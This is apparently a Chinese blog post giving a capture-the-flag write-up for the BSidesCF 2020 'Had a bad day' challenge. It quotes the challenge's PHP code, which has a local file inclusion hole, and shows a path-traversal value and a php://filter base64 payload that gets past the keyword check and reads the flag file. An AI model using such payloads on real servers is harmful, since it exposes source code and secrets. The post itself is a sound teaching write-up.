[BSidesCF 2020]Had a bad day

FPoint·2022-02-10 23:26·313 次阅读

[BSidesCF 2020]Had a bad day

打开题目

 

 

 问我have a bad day?

随便点一个出现了

 

 

 地址栏出现了?category=woofers

然后点另外一个

 

 

 

地址栏出现了?category=meowers

于是推测这个可能是打开某个页面

于是我尝试用get传参?category=flag.php

 

 

 出现了只支持woofers和meowers也就是前面点的那个

然后我尝试在woofers后面加个.php

结果出现了

 

 

 说明它是你输入一个然后他会自动补上一个.php

然后我找不到思路了,根据题目上面提供了github链接我找到了源码

复制代码
 <?php
                $file = $_GET['category'];

                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>
复制代码

然后我本来以为是用数组来绕过strops函数,

 

 

 结果出现了这个,失败了。

然后我csdn上面看了下别人的wp。

说要用php伪协议读取。

根据前面源代码可知,要读文件必须要有woofers或者meowers

于是get传参woofers/../flag

然后在源代码里面看到了

<!-- Can you read this flag? -->

要用php伪协议读取flag

1
?category=php://filter/convert.base64-encode/resource=flag

 结果出现了

Sorry, we currently only support woofers and meowers.

 我想起来读文件里面必须要有index,woofers之中的一个所以我改payload:

1
?category=php://filter/convert.base64-encode/woofers/resource=flag

然后得到了:

1
PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7ZGY4YjY2NjEtZjNmMC00ODIyLWJmZDUtZWQxNWY1YWMwMzU2fQo/Pgo=

  然后解个密就得到答案了。

posted @   FPointmaple  阅读(313)  评论(2编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
点击右上角即可分享
微信分享提示